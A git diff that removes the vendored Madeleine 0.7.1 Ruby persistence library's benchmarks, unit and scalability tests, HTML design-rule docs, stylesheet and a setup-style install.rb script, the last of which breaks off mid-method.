index 6bb89b42..00000000 --- a/vendor/madeleine-0.7.1/contrib/benchmark.rb +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/local/bin/ruby -w - -$LOAD_PATH.unshift("../lib") - -require 'madeleine' -require 'batched' - -class BenchmarkCommand - def initialize(value) - @value = value - end - - def execute(system) - # do nothing - end -end - -madeleine = BatchedSnapshotMadeleine.new("benchmark-base") { :the_system } - -RUNS = 2000 - -GC.start -GC.disable - -t0 = Time.now -RUNS.times { - madeleine.execute_command(BenchmarkCommand.new(1234)) -} -t1 = Time.now - -GC.enable - -tps = RUNS/(t1 - t0) - -puts "#{tps.to_i} transactions/s" diff --git a/vendor/madeleine-0.7.1/contrib/test_batched.rb b/vendor/madeleine-0.7.1/contrib/test_batched.rb deleted file mode 100755 index 7011634e..00000000 --- a/vendor/madeleine-0.7.1/contrib/test_batched.rb +++ /dev/null @@ -1,245 +0,0 @@ -#!/usr/local/bin/ruby -w -# -# Copyright(c) 2003 Hkan Rberg -# -# Some components taken from test_persistence.rb -# Copyright(c) 2003 Anders Bengtsson -# - -$LOAD_PATH.unshift("../lib") - -require 'batched' -require 'test/unit' -require 'madeleine/clock' - - -module Madeleine::Batch - class BatchedSnapshotMadeleineTest < Test::Unit::TestCase - - class ArraySystem < Array - include Madeleine::Clock::ClockedSystem - end - - class PushCommand - def initialize(value) - @value = value - end - - def execute(system) - system << @value - end - end - - class ArrayQuery - def initialize - @time = [] - end - - def execute(system) - length = system.length - @time << system.clock.time - - a = 1 - system.each do |n| - a *= n - end - - raise "inconsistent read" unless length == system.length - raise "inconsistent read" unless @time.last == system.clock.time - end - end - - def test_live_snapshot - system = ArraySystem.new - w, r = [], [] - going = true - - madeleine = BatchedSnapshotMadeleine.new(prevalence_base) { system } - - i = 0 - 10.times do |n| - w[n] = Thread.new { - while going - madeleine.execute_command(PushCommand.new(i)) - i += 1 - sleep(0.1) - end - } - end - - q = 0 - query = ArrayQuery.new - 100.times do |n| - r[n] = Thread.new { - while going - begin - madeleine.execute_query(query) - q += 1 - rescue - fail("Query blocks writing") - end - sleep(0.1) - end - } - end - - s = 0 - snapshot = Thread.new { - while going - madeleine.take_snapshot - s += 1 - sleep(0.01) - end - } - - sleep(1) - - going = false - - r.each do |t| - t.join - end - - w.each do |t| - t.join - end - - snapshot.join - - madeleine.close - - madeleine2 = SnapshotMadeleine.new(prevalence_base) - assert_equal(madeleine.system, madeleine2.system, "Take system snapshots while accessing") - end - - def prevalence_base - "BatchedSnapshot" - end - - def teardown - delete_directory(prevalence_base) - end - end - - class BatchedLogTest < Test::Unit::TestCase - - class MockMadeleine - def initialize(logger) - @logger = logger - end - - def flush - @logger.flush - end - end - - class MockCommand - attr_reader :text - - def initialize(text) - @text = text - end - - def execute(system) - end - - def ==(o) - o.text == @text - end - end - - module BufferInspector - def buffer_size - @buffer.size - end - end - - def setup - @target = BatchedLogger.new(".", BatchedLogFactory.new, nil) - @target.extend(BufferInspector) - @madeleine = MockMadeleine.new(@target) - @messages = [] - end - - def test_logging - actor = LogActor.launch(@madeleine, 0.1) - - append("Hello") - sleep(0.01) - append("World") - sleep(0.01) - - assert_equal(2, @target.buffer_size, "Batched command queue") - assert(!File.exist?(expected_file_name), "Batched commands not on disk") - - sleep(0.2) - - assert_equal(0, @target.buffer_size, "Queue emptied by batched write") - file_size = File.size(expected_file_name) - assert(file_size > 0, "Queue written to disk") - - append("Again") - sleep(0.2) - - assert(File.size(expected_file_name) > file_size, "Command written to disk") - - f = File.new(expected_file_name) - - @messages.each do |message| - assert_equal(message, Marshal.load(f), "Commands logged in order") - end - - f.close - - actor.destroy - @target.flush - @target.close - - end - - def append(text) - Thread.new { - message = MockCommand.new(text) - @messages << message - queued_command = QueuedCommand.new(message) - @target.store(queued_command) - queued_command.wait_for - } - end - - def expected_file_name - "000000000000000000001.command_log" - end - - def teardown - assert(File.delete(expected_file_name) == 1) - end - - end - - def delete_directory(directory_name) - Dir.foreach(directory_name) do |file| - next if file == "." - next if file == ".." - assert(File.delete(directory_name + File::SEPARATOR + file) == 1, - "Unable to delete #{file}") - end - Dir.delete(directory_name) - end -end - - include Madeleine::Batch - -def add_batched_tests(suite) - suite << BatchedSnapshotMadeleineTest.suite - suite << BatchedLogTest.suite -end - -if __FILE__ == $0 - suite = Test::Unit::TestSuite.new("BatchedLogTest") - add_batched_tests(suite) - - require 'test/unit/ui/console/testrunner' - Thread.abort_on_exception = true - Test::Unit::UI::Console::TestRunner.run(suite) -end diff --git a/vendor/madeleine-0.7.1/contrib/test_scalability.rb b/vendor/madeleine-0.7.1/contrib/test_scalability.rb deleted file mode 100755 index 99b7dc5d..00000000 --- a/vendor/madeleine-0.7.1/contrib/test_scalability.rb +++ /dev/null @@ -1,248 +0,0 @@ -#!/usr/local/bin/ruby -w -# -# Copyright(c) 2003 Hkan Rberg -# -# This test is based on Prevaylers TransactionTestRun, -# Copyright(c) 2001-2003 Klaus Wuestefeld. -# - -$LOAD_PATH.unshift("../lib") - -require 'madeleine' -require 'madeleine/clock' -require 'batched' - -module ScalabilityTest - - class TransactionTestRun - MIN_THREADS = 20 - MAX_THREADS = 20 - NUMBER_OF_OBJECTS = 100000 - ROUND_DURATION = 20 - DIR = "ScalabilityBase" - - def initialize - @system = TransactionSystem.new - @madeleine = BatchedSnapshotMadeleine.new(DIR) { @system } - - @system.replace_all_records(create_records(NUMBER_OF_OBJECTS)) - - @is_round_finished = false - - @best_round_ops_per_s = 0 - @best_round_threads = 0 - @operation_count = 0 - @last_operation = 0 - @active_round_threads = 0 - - @half_of_the_objects = NUMBER_OF_OBJECTS / 2 - - @connection_cache = [] - @connection_cache_lock = Mutex.new - - ObjectSpace.garbage_collect - - puts "========= Running " + name + " (" + (MAX_THREADS - MIN_THREADS + 1).to_s + " rounds). Subject: " + subject_name + "..." - puts "Each round will take approx. " + ROUND_DURATION.to_s + " seconds to run..." - perform_test - puts "----------- BEST ROUND: " + result_string(@best_round_ops_per_s, @best_round_threads) - - @madeleine.close - delete_directory(DIR) - end - - def name - "Transaction Test" - end - - def subject_name - "Madeleine" - end - - def result_string(ops_per_s, threads) - ops_per_s.to_s + " operations/second (" + threads.to_s + " threads)" - end - - def perform_test - for threads in MIN_THREADS..MAX_THREADS - ops_per_s = perform_round(threads) - if ops_per_s > @best_round_ops_per_s - @best_round_ops_per_s = ops_per_s - @best_round_threads = threads - end - end - end - - def perform_round(threads) - initial_operation_count = @operation_count - start_time = Time.now.to_f - - start_threads(threads) - sleep(ROUND_DURATION) - stop_threads - - seconds_ellapsed = Time.now.to_f - start_time - ops_per_second = (@operation_count - initial_operation_count) / seconds_ellapsed - - puts - puts "Seconds ellapsed: " + seconds_ellapsed.to_s - puts "--------- Round Result: " + result_string(ops_per_second, threads) - - ops_per_second - end - - def start_threads(threads) - @is_round_finished = false - for i in 1..threads - start_thread(@last_operation + i, threads) - end - end - - def start_thread(starting_operation, operation_increment) - Thread.new { - connection = accquire_connection - - operation = starting_operation - while not @is_round_finished - # puts "Operation " + operation.to_s - execute_operation(connection, operation) - operation += operation_increment - end - - @connection_cache_lock.synchronize do - @connection_cache << connection - @operation_count += (operation - starting_operation) / operation_increment - @last_operation = operation if @last_operation < operation - @active_round_threads -= 1 - end - } - @active_round_threads += 1 - end - - def execute_operation(connection, operation) - record_to_insert = Record.new(NUMBER_OF_OBJECTS + operation) - id_to_delete = spread_id(operation) - record_to_update = Record.new(@half_of_the_objects + id_to_delete) - - connection.perform_transaction(record_to_insert, record_to_update, id_to_delete) - end - - def spread_id(id) - (id / @half_of_the_objects) * @half_of_the_objects + ((id * 16807) % @half_of_the_objects) - end - - def create_test_connection - TransactionConnection.new(@madeleine) - end - - def accquire_connection - @connection_cache_lock.synchronize do - return @connection_cache.empty? ? create_test_connection : @connection_cache.shift - end - end - - def stop_threads - @is_round_finished = true - while @active_round_threads != 0 - sleep(0.001) - end - end - - def create_records(number_of_objects) - result = [] - for i in 0..number_of_objects - result << Record.new(i) - end - result - end - - - def delete_directory(directory_name) - Dir.foreach(directory_name) do |file| - next if file == "." - next if file == ".." - File.delete(directory_name + File::SEPARATOR + file) - end - Dir.delete(directory_name) - end - end - - class TransactionSystem - include Madeleine::Clock::ClockedSystem - - def initialize - @records_by_id = Hash.new - @transaction_lock = Mutex.new - end - - def perform_transaction(record_to_insert, record_to_update, id_to_delete) - @transaction_lock.synchronize do - put(record_to_insert) - put(record_to_update) - @records_by_id.delete(id_to_delete) - end - end - - def put(new_record) - @records_by_id[new_record.id] = new_record - end - - def replace_all_records(new_records) - @records_by_id.clear - new_records.each do |record| - put(record) - end - end - end - - class TransactionConnection - def initialize(madeleine) - @madeleine = madeleine - end - - def perform_transaction(record_to_insert, record_to_update, id_to_delete) - @madeleine.execute_command(TestTransaction.new(record_to_insert, record_to_update, id_to_delete)) - end - end - - class TestTransaction - def initialize(record_to_insert, record_to_update, id_to_delete) - @record_to_insert = record_to_insert - @record_to_update = record_to_update - @id_to_delete = id_to_delete - end - - def execute(system) - system.perform_transaction(@record_to_insert, @record_to_update, @id_to_delete) - end - end - - class Record - attr_reader :id, :name, :string_1, :date_1, :date_2 - - def initialize(id) - @id = id - @name = "NAME" + (id % 10000).to_s - @string_1 = (id % 10000).to_s == 0 ? Record.large_string + id : nil; - @date_1 = Record.random_date - @date_2 = Record.random_date - end - - def self.large_string - [].fill("A", 1..980).to_s - end - - def self.random_date - rand(10000000) - end - end -end - -if __FILE__ == $0 - puts "Madeleine Scalability Test" - puts "Based on Prevaylers Scalability Test" - puts - - Thread.abort_on_exception = true - ScalabilityTest::TransactionTestRun.new -end diff --git a/vendor/madeleine-0.7.1/contrib/threaded_benchmark.rb b/vendor/madeleine-0.7.1/contrib/threaded_benchmark.rb deleted file mode 100755 index 5e8f88a7..00000000 --- a/vendor/madeleine-0.7.1/contrib/threaded_benchmark.rb +++ /dev/null @@ -1,44 +0,0 @@ -#!/usr/local/bin/ruby -w - -$LOAD_PATH.unshift("../lib") - -require 'madeleine' -require 'batched' - -class BenchmarkCommand - def initialize(value) - @value = value - end - - def execute(system) - # do nothing - end -end - -madeleine = BattchedSnapshotMadeleine.new("benchmark-base") { :the_system } - -RUNS = 200 -THREADS = 10 - -GC.start -GC.disable - -t0 = Time.now - -threads = [] -THREADS.times { - threads << Thread.new { - RUNS.times { - madeleine.execute_command(BenchmarkCommand.new(1234)) - } - } -} -threads.each {|t| t.join } -t1 = Time.now - -GC.enable - -tps = (THREADS * RUNS)/(t1 - t0) - -puts "#{tps.to_i} transactions/s" - diff --git a/vendor/madeleine-0.7.1/docs/.cvsignore b/vendor/madeleine-0.7.1/docs/.cvsignore deleted file mode 100755 index eedd89b4..00000000 --- a/vendor/madeleine-0.7.1/docs/.cvsignore +++ /dev/null @@ -1 +0,0 @@ -api diff --git a/vendor/madeleine-0.7.1/docs/designRules.html b/vendor/madeleine-0.7.1/docs/designRules.html deleted file mode 100755 index c6db4546..00000000 --- a/vendor/madeleine-0.7.1/docs/designRules.html +++ /dev/null @@ -1,87 +0,0 @@ - - - -Design rules - Madeleine - - - - - -

      Design rules

      - -

      This is a summary of the design rules your application has to -follow to work with Madeleine. - - -

      The Prevalent System

      - -

      Your objects have to fit into memory

      - -

      All of them. At the same time. - -

      Your objects have to be marshallable

      - -

      Snapshots are taken of the system by marshalling the whole system to a -file. If your classes can't be marshalled/unmarshalled then Madeleine -won't be able to store/restore the system. - -

      Your objects have to be deterministic

      - -

      Deterministic means that, given the same commands, they have -to always give the same results. - -

      For the much of your code this won't -be a problem, but there are a few common issues: - -

      The system clock

      -

      You can't use the system clock (see instead ClockedSystem and TimeActor). - -

      Random numbers

      -

      Kernel.rand() uses the system clock internally by -default. Use Kernel.srand() to seed the random number -generator before using rand(). - -

      Files, network and other IO

      -

      You generally can't access the outside world from within your -prevalent system. Instead do IO outside of the prevalent system and -call into the system when needed. - -

      Changes to the system have to be done through command -objects

      - -

      Everything that modifies the prevalent system must be done through a -command object sent to the Madeleine instance, using -execute_command(aCommand). Queries that don't modify the -system can be done either through direct method calls or through -command objects. - -

      Command Objects

      - -

      A command object is an object that implements the method -execute(system). They are an example of the "Command" -design pattern. - -

      The command objects also have to be marshallable

      - -

      Madeleine keeps track of changes between snapshots by logging -marshalled commands. - -

      The command must raise errors before modifying the system

      - -

      Unlike a RDBMS, Madeleine can't roll back a command (yet). This means -that your commands will have to do their error checking and raise any -errors before modifying the system. Failing to do this will cause an -inconsistent command log. - -

      Command objects can't hold references to the system's objects

      - -

      Unmarshalling such a command would create clones of the original -objects, which would then be modified instead of the real -objects. The commands must find the objects to modify. - -


      - -$Id: designRules.html,v 1.1 2005/01/07 23:03:27 alexeyv Exp $ - - - diff --git a/vendor/madeleine-0.7.1/docs/docs.css b/vendor/madeleine-0.7.1/docs/docs.css deleted file mode 100755 index 0c70ccde..00000000 --- a/vendor/madeleine-0.7.1/docs/docs.css +++ /dev/null @@ -1,28 +0,0 @@ -body { - background-color: #FFFFF0; -} -p { - width: 70ex -} -h1 { - font-family: verdana,arial,helvetica,sans-serif; -} -h2 { - font-family: verdana,arial,helvetica,sans-serif; - background: #EEEEE0; -} -h3 { - font-family: verdana,arial,helvetica,sans-serif; -} -h4 { - font-family: verdana,arial,helvetica,sans-serif; -} -.classMethod { - font-family: courier,monospace; - font-weight: bold; - background: #EEEEE0; -} -.instanceMethod { - font-family: courier,sans-serif; - background: #EEEEE0; -} diff --git a/vendor/madeleine-0.7.1/generate_rdoc.rb b/vendor/madeleine-0.7.1/generate_rdoc.rb deleted file mode 100755 index b4e0ba7b..00000000 --- a/vendor/madeleine-0.7.1/generate_rdoc.rb +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/local/bin/ruby - -`rdoc lib --op docs/api` diff --git a/vendor/madeleine-0.7.1/install.rb b/vendor/madeleine-0.7.1/install.rb deleted file mode 100755 index e624774e..00000000 --- a/vendor/madeleine-0.7.1/install.rb +++ /dev/null @@ -1,1098 +0,0 @@ -# -# This file is automatically generated. DO NOT MODIFY! -# -# install.rb -# -# Copyright (c) 2000-2003 Minero Aoki -# -# This program is free software. -# You can distribute/modify this program under the terms of -# the GNU Lesser General Public License version 2. -# - -### begin compat.rb - -module Enumerable - methods = instance_methods() - - unless methods.include?('map') - alias map collect - end - - unless methods.include?('select') - alias select find_all - end - - unless methods.include?('reject') - def reject - result = [] - each do |i| - result.push i unless yield(i) - end - result - end - end - - unless methods.include?('inject') - def inject( result ) - each do |i| - result = yield(result, i) - end - result - end - end - - unless methods.include?('any?') - def any? - each do |i| - return true if yield(i) - end - false - end - end -end - -def File.read_all( fname ) - File.open(fname, 'rb') {|f| return f.read } -end - -def File.write( fname, str ) - File.open(fname, 'wb') {|f| f.write str } -end - -### end compat.rb -### begin config.rb - -if i = ARGV.index(/\A--rbconfig=/) - file = $' - ARGV.delete_at(i) - require file -else - require 'rbconfig' -end - - -class ConfigTable - - c = ::Config::CONFIG - - rubypath = c['bindir'] + '/' + c['ruby_install_name'] - - major = c['MAJOR'].to_i - minor = c['MINOR'].to_i - teeny = c['TEENY'].to_i - version = "#{major}.#{minor}" - - # ruby ver. >= 1.4.4? - newpath_p = ((major >= 2) or - ((major == 1) and - ((minor >= 5) or - ((minor == 4) and (teeny >= 4))))) - - re = Regexp.new('\A' + Regexp.quote(c['prefix'])) - subprefix = lambda {|path| - re === path and path.sub(re, '$prefix') - } - - if c['rubylibdir'] - # V < 1.6.3 - stdruby = subprefix.call(c['rubylibdir']) - siteruby = subprefix.call(c['sitedir']) - versite = subprefix.call(c['sitelibdir']) - sodir = subprefix.call(c['sitearchdir']) - elsif newpath_p - # 1.4.4 <= V <= 1.6.3 - stdruby = "$prefix/lib/ruby/#{version}" - siteruby = subprefix.call(c['sitedir']) - versite = siteruby + '/' + version - sodir = "$site-ruby/#{c['arch']}" - else - # V < 1.4.4 - stdruby = "$prefix/lib/ruby/#{version}" - siteruby = "$prefix/lib/ruby/#{version}/site_ruby" - versite = siteruby - sodir = "$site-ruby/#{c['arch']}" - end - - DESCRIPTER = [ - [ 'prefix', [ c['prefix'], - 'path', - 'path prefix of target environment' ] ], - [ 'std-ruby', [ stdruby, - 'path', - 'the directory for standard ruby libraries' ] ], - [ 'site-ruby-common', [ siteruby, - 'path', - 'the directory for version-independent non-standard ruby libraries' ] ], - [ 'site-ruby', [ versite, - 'path', - 'the directory for non-standard ruby libraries' ] ], - [ 'bin-dir', [ '$prefix/bin', - 'path', - 'the directory for commands' ] ], - [ 'rb-dir', [ '$site-ruby', - 'path', - 'the directory for ruby scripts' ] ], - [ 'so-dir', [ sodir, - 'path', - 'the directory for ruby extentions' ] ], - [ 'data-dir', [ '$prefix/share', - 'path', - 'the directory for shared data' ] ], - [ 'ruby-path', [ rubypath, - 'path', - 'path to set to #! line' ] ], - [ 'ruby-prog', [ rubypath, - 'name', - 'the ruby program using for installation' ] ], - [ 'make-prog', [ 'make', - 'name', - 'the make program to compile ruby extentions' ] ], - [ 'without-ext', [ 'no', - 'yes/no', - 'does not compile/install ruby extentions' ] ] - ] - - SAVE_FILE = 'config.save' - - def ConfigTable.each_name( &block ) - keys().each(&block) - end - - def ConfigTable.keys - DESCRIPTER.map {|k,*dummy| k } - end - - def ConfigTable.each_definition( &block ) - DESCRIPTER.each(&block) - end - - def ConfigTable.get_entry( name ) - name, ent = DESCRIPTER.assoc(name) - ent - end - - def ConfigTable.get_entry!( name ) - get_entry(name) or raise ArgumentError, "no such config: #{name}" - end - - def ConfigTable.add_entry( name, vals ) - ConfigTable::DESCRIPTER.push [name,vals] - end - - def ConfigTable.remove_entry( name ) - get_entry name or raise ArgumentError, "no such config: #{name}" - DESCRIPTER.delete_if {|n,arr| n == name } - end - - def ConfigTable.config_key?( name ) - get_entry(name) ? true : false - end - - def ConfigTable.bool_config?( name ) - ent = get_entry(name) or return false - ent[1] == 'yes/no' - end - - def ConfigTable.value_config?( name ) - ent = get_entry(name) or return false - ent[1] != 'yes/no' - end - - def ConfigTable.path_config?( name ) - ent = get_entry(name) or return false - ent[1] == 'path' - end - - - class << self - alias newobj new - - def new - c = newobj() - c.__send__ :init - c - end - - def load - c = newobj() - raise InstallError, "#{File.basename $0} config first"\ - unless FileTest.file?(SAVE_FILE) - File.foreach(SAVE_FILE) do |line| - k, v = line.split(/=/, 2) - c.instance_eval { - @table[k] = v.strip - } - end - c - end - end - - def initialize - @table = {} - end - - def init - DESCRIPTER.each do |k, (default, vname, desc, default2)| - @table[k] = default - end - end - private :init - - def save - File.open(SAVE_FILE, 'w') {|f| - @table.each do |k, v| - f.printf "%s=%s\n", k, v if v - end - } - end - - def []=( k, v ) - ConfigTable.config_key? k or raise InstallError, "unknown config option #{k}" - if ConfigTable.path_config? k - @table[k] = (v[0,1] != '$') ? File.expand_path(v) : v - else - @table[k] = v - end - end - - def []( key ) - @table[key] or return nil - @table[key].gsub(%r<\$([^/]+)>) { self[$1] } - end - - def set_raw( key, val ) - @table[key] = val - end - - def get_raw( key ) - @table[key] - end - -end - - -module MetaConfigAPI - - def eval_file_ifexist( fname ) - instance_eval File.read_all(fname), fname, 1 if FileTest.file?(fname) - end - - def config_names - ConfigTable.keys - end - - def config?( name ) - ConfigTable.config_key? name - end - - def bool_config?( name ) - ConfigTable.bool_config? name - end - - def value_config?( name ) - ConfigTable.value_config? name - end - - def path_config?( name ) - ConfigTable.path_config? name - end - - def add_config( name, argname, default, desc ) - ConfigTable.add_entry name,[default,argname,desc] - end - - def add_path_config( name, default, desc ) - add_config name, 'path', default, desc - end - - def add_bool_config( name, default, desc ) - add_config name, 'yes/no', default ? 'yes' : 'no', desc - end - - def set_config_default( name, default ) - if bool_config? name - ConfigTable.get_entry!(name)[0] = default ? 'yes' : 'no' - else - ConfigTable.get_entry!(name)[0] = default - end - end - - def remove_config( name ) - ent = ConfigTable.get_entry(name) - ConfigTable.remove_entry name - ent - end - -end - -### end config.rb -### begin fileop.rb - -module FileOperations - - def mkdir_p( dname, prefix = nil ) - dname = prefix + dname if prefix - $stderr.puts "mkdir -p #{dname}" if verbose? - return if no_harm? - - # does not check '/'... it's too abnormal case - dirs = dname.split(%r<(?=/)>) - if /\A[a-z]:\z/i === dirs[0] - disk = dirs.shift - dirs[0] = disk + dirs[0] - end - dirs.each_index do |idx| - path = dirs[0..idx].join('') - Dir.mkdir path unless dir? path - end - end - - def rm_f( fname ) - $stderr.puts "rm -f #{fname}" if verbose? - return if no_harm? - - if File.exist? fname or File.symlink? fname - File.chmod 0777, fname - File.unlink fname - end - end - - def rm_rf( dn ) - $stderr.puts "rm -rf #{dn}" if verbose? - return if no_harm? - - Dir.chdir dn - Dir.foreach('.') do |fn| - next if fn == '.' - next if fn == '..' - if dir? fn - verbose_off { - rm_rf fn - } - else - verbose_off { - rm_f fn - } - end - end - Dir.chdir '..' - Dir.rmdir dn - end - - def mv( src, dest ) - rm_f dest - begin - File.link src, dest - rescue - File.write dest, File.read_all(src) - File.chmod File.stat(src).mode, dest - end - rm_f src - end - - def install( from, dest, mode, prefix = nil ) - $stderr.puts "install #{from} #{dest}" if verbose? - return if no_harm? - - realdest = prefix + dest if prefix - if dir? realdest - realdest += '/' + File.basename(from) - end - str = File.read_all(from) - if diff? str, realdest - verbose_off { - rm_f realdest if File.exist? realdest - } - File.write realdest, str - File.chmod mode, realdest - - File.open(objdir + '/InstalledFiles', 'a') {|f| f.puts realdest } - end - end - - def diff?( orig, targ ) - return true unless File.exist? targ - orig != File.read_all(targ) - end - - def command( str ) - $stderr.puts str if verbose? - system str or raise RuntimeError, "'system #{str}' failed" - end - - def ruby( str ) - command config('ruby-prog') + ' ' + str - end - - def dir?( dname ) - # for corrupted windows stat() - File.directory?((dname[-1,1] == '/') ? dname : dname + '/') - end - - def all_files_in( dname ) - Dir.open(dname) {|d| - return d.select {|n| FileTest.file? "#{dname}/#{n}" } - } - end - - REJECT_DIRS = %w( - CVS SCCS RCS CVS.adm - ) - - def all_dirs_in( dname ) - Dir.open(dname) {|d| - return d.select {|n| dir? "#{dname}/#{n}" } - %w(. ..) - REJECT_DIRS - } - end - -end - -### end fileop.rb -### begin base.rb - -class InstallError < StandardError; end - - -class Installer - - Version = '3.1.4' - Copyright = 'Copyright (c) 2000-2003 Minero Aoki' - - - @toplevel = nil - - def self.declare_toplevel_installer( inst ) - raise ArgumentError, 'two toplevel installers declared' if @toplevel - @toplevel = inst - end - - def self.toplevel_installer - @toplevel - end - - - FILETYPES = %w( bin lib ext data ) - - include FileOperations - - def initialize( config, opt, srcroot, objroot ) - @config = config - @options = opt - @srcdir = File.expand_path(srcroot) - @objdir = File.expand_path(objroot) - @currdir = '.' - end - - def inspect - "#<#{self.class} #{__id__}>" - end - - # - # configs/options - # - - def get_config( key ) - @config[key] - end - - alias config get_config - - def set_config( key, val ) - @config[key] = val - end - - def no_harm? - @options['no-harm'] - end - - def verbose? - @options['verbose'] - end - - def verbose_off - save, @options['verbose'] = @options['verbose'], false - yield - @options['verbose'] = save - end - - # - # srcdir/objdir - # - - attr_reader :srcdir - alias srcdir_root srcdir - alias package_root srcdir - - def curr_srcdir - "#{@srcdir}/#{@currdir}" - end - - attr_reader :objdir - alias objdir_root objdir - - def curr_objdir - "#{@objdir}/#{@currdir}" - end - - def srcfile( path ) - curr_srcdir + '/' + path - end - - def srcexist?( path ) - File.exist? srcfile(path) - end - - def srcdirectory?( path ) - dir? srcfile(path) - end - - def srcfile?( path ) - FileTest.file? srcfile(path) - end - - def srcentries( path = '.' ) - Dir.open(curr_srcdir + '/' + path) {|d| - return d.to_a - %w(. ..) - hookfilenames - } - end - - def srcfiles( path = '.' ) - srcentries(path).select {|fname| - FileTest.file? File.join(curr_srcdir, path, fname) - } - end - - def srcdirectories( path = '.' ) - srcentries(path).select {|fname| - dir? File.join(curr_srcdir, path, fname) - } - end - - def dive_into( rel ) - return unless dir?("#{@srcdir}/#{rel}") - - dir = File.basename(rel) - Dir.mkdir dir unless dir?(dir) - prevdir = Dir.pwd - Dir.chdir dir - $stderr.puts '---> ' + rel if verbose? - @currdir = rel - yield - Dir.chdir prevdir - $stderr.puts '<--- ' + rel if verbose? - @currdir = File.dirname(rel) - end - - # - # TASK config - # - - def exec_config - exec_task_traverse 'config' - end - - def config_dir_bin( rel ) - end - - def config_dir_lib( rel ) - end - - def config_dir_ext( rel ) - extconf if extdir? curr_srcdir - end - - def extconf - opt = @options['config-opt'].join(' ') - command "#{config('ruby-prog')} #{curr_srcdir}/extconf.rb #{opt}" - end - - def config_dir_data( rel ) - end - - # - # TASK setup - # - - def exec_setup - exec_task_traverse 'setup' - end - - def setup_dir_bin( relpath ) - all_files_in(curr_srcdir()).each do |fname| - add_rubypath "#{curr_srcdir}/#{fname}" - end - end - - SHEBANG_RE = /\A\#!\s*\S*ruby\S*/ - - def add_rubypath( path ) - $stderr.puts %Q if verbose? - return if no_harm? - - tmpfile = File.basename(path) + '.tmp' - begin - File.open(path) {|r| - File.open(tmpfile, 'w') {|w| - first = r.gets - return unless SHEBANG_RE === first # reject '/usr/bin/env ruby' - - w.print first.sub(SHEBANG_RE, '#!' + config('ruby-path')) - w.write r.read - } } - mv tmpfile, File.basename(path) - ensure - rm_f tmpfile if File.exist? tmpfile - end - end - - def setup_dir_lib( relpath ) - end - - def setup_dir_ext( relpath ) - make if extdir?(curr_srcdir) - end - - def setup_dir_data( relpath ) - end - - # - # TASK install - # - - def exec_install - exec_task_traverse 'install' - end - - def install_dir_bin( rel ) - install_files target_filenames(), config('bin-dir') + '/' + rel, 0755 - end - - def install_dir_lib( rel ) - install_files target_filenames(), config('rb-dir') + '/' + rel, 0644 - end - - def install_dir_ext( rel ) - install_dir_ext_main File.dirname(rel) if extdir?(curr_srcdir) - end - - def install_dir_ext_main( rel ) - install_files allext('.'), config('so-dir') + '/' + rel, 0555 - end - - def install_dir_data( rel ) - install_files target_filenames(), config('data-dir') + '/' + rel, 0644 - end - - def install_files( list, dest, mode ) - mkdir_p dest, @options['install-prefix'] - list.each do |fname| - install fname, dest, mode, @options['install-prefix'] - end - end - - def target_filenames - if FileTest.file? "#{curr_srcdir()}/MANIFEST" - mapdir(target_filenames_MANIFEST()) - else - mapdir(target_filenames_AUTO()) - end - end - - def mapdir( filelist ) - filelist.map {|fname| - if File.exist? fname # current objdir == '.' - fname - else - File.join(curr_srcdir(), fname) - end - } - end - - def target_filenames_MANIFEST - File.read_all("#{curr_srcdir()}/MANIFEST").split - end - - # picked up many entries from cvs-1.11.1/src/ignore.c - REJECT_PATTERNS = %w( - core RCSLOG tags TAGS .make.state - .nse_depinfo #* .#* cvslog.* ,* .del-* *.a *.olb *.o *.obj - *.so *.Z *~ *.old *.elc *.ln *.bak *.BAK *.orig *.rej *.exe _$* *$ - - *.org *.in .* - ).map {|pattern| - Regexp.compile('\A' + pattern.gsub(/[\.\$]/) {|s| '\\' + s }.gsub(/\*/, '.*') + '\z') - } - - def target_filenames_AUTO - (existfiles() - hookfiles()).reject {|fname| - REJECT_PATTERNS.any? {|re| re === fname } - } - end - - def existfiles - all_files_in(curr_srcdir()) | all_files_in(curr_objdir()) - end - - def hookfiles - %w( pre-%s post-%s pre-%s.rb post-%s.rb ).map {|fmt| - %w( config setup install clean ).map {|t| sprintf(fmt, t) } - }.flatten - end - - def allext( dir ) - _allext(dir) or raise InstallError, - "no extention exists: Have you done 'ruby #{$0} setup' ?" - end - - DLEXT = /\.#{ ::Config::CONFIG['DLEXT'] }\z/ - - def _allext( dir ) - Dir.open(dir) {|d| - return d.select {|fname| DLEXT === fname } - } - end - - # - # TASK clean - # - - def exec_clean - exec_task_traverse 'clean' - rm_f 'config.save' - rm_f 'InstalledFiles' - end - - def clean_dir_bin( rel ) - end - - def clean_dir_lib( rel ) - end - - def clean_dir_ext( rel ) - make 'clean' if FileTest.file?('Makefile') - end - - def clean_dir_data( rel ) - end - - # - # TASK distclean - # - - def exec_distclean - exec_task_traverse 'distclean' - rm_f 'config.save' - rm_f 'InstalledFiles' - end - - def distclean_dir_bin( rel ) - end - - def distclean_dir_lib( rel ) - end - - def distclean_dir_ext( rel ) - make 'distclean' if FileTest.file?('Makefile') - end - - # - # lib - # - - def make( task = '' ) - command config('make-prog') + ' ' + task - end - - def exec_task_traverse( task ) - run_hook 'pre-' + task - FILETYPES.each do |type| - if config('without-ext') == 'yes' and type == 'ext' - $stderr.puts 'skipping ext/* by user option' if verbose? - next - end - traverse task, type, task + '_dir_' + type - end - run_hook 'post-' + task - end - - def traverse( task, rel, mid ) - dive_into(rel) { - run_hook 'pre-' + task - __send__ mid, rel.sub(%r[\A.*?(?:/|\z)], '') - all_dirs_in(curr_srcdir()).each do |d| - traverse task, rel + '/' + d, mid - end - run_hook 'post-' + task - } - end - - def run_hook( name ) - try_run_hook curr_srcdir + '/' + name or - try_run_hook curr_srcdir + '/' + name + '.rb' - end - - def try_run_hook( fname ) - return false unless FileTest.file?(fname) - - env = self.dup - begin - env.instance_eval File.read_all(fname), fname, 1 - rescue - raise InstallError, "hook #{fname} failed:\n" + $!.message - end - true - end - - def extdir?( dir ) - File.exist? dir + '/MANIFEST' - end - -end - -### end base.rb -### begin toplevel.rb - -class ToplevelInstaller < Installer - - def self.invoke - new(File.dirname($0)).invoke - end - - - TASKS = [ - [ 'config', 'saves your configurations' ], - [ 'show', 'shows current configuration' ], - [ 'setup', 'compiles extention or else' ], - [ 'install', 'installs files' ], - [ 'clean', "does `make clean' for each extention" ], - [ 'distclean',"does `make distclean' for each extention" ] - ] - - - def initialize( root ) - super nil, {'verbose' => true}, root, '.' - Installer.declare_toplevel_installer self - end - - - def invoke - run_metaconfigs - - case task = parsearg_global() - when 'config' - @config = ConfigTable.new - else - @config = ConfigTable.load - end - parsearg_TASK task - - exectask task - end 